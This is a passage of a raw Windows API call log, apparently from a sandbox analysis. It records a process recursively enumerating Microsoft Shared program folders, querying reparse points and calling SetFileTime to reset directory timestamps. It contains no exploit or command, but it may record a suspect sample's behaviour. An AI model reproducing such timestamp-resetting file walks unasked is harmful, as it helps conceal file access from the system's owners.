RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed720) returned 1 [0063.800] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0063.800] GetLastError () returned 0x12 [0063.800] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0063.800] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0063.801] GetLastError () returned 0x12 [0063.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0063.801] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0063.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0063.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0063.801] GetLastError () returned 0x12 [0063.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.801] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0063.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05378) returned 1 [0063.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.801] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0063.804] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0063.806] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0063.807] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0063.809] GetLastError () returned 0x12 [0063.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.812] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0063.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0063.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0063.822] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0063.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0063.827] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0063.887] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0063.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0063.891] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0063.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0063.891] NtClose (Handle=0x164) returned 0x0 [0063.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0063.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0063.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0063.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0063.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0063.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0063.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.895] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0063.895] GetLastError () returned 0x12 [0063.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0063.896] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0063.896] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.896] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0063.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.896] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0063.896] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0063.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0063.896] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0063.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0063.896] NtClose (Handle=0x164) returned 0x0 [0063.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0063.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0063.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05378 [0063.898] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0063.898] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.898] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0063.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0063.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0063.898] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0063.898] GetLastError () returned 0x12 [0063.898] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0063.898] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0063.898] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.898] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0063.898] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0063.898] GetLastError () returned 0x12 [0063.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa05378) returned 1 [0063.898] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0063.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0063.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0063.899] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0063.899] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0063.899] GetLastError () returned 0x12 [0063.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.899] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0063.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0063.899] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0063.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0063.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: 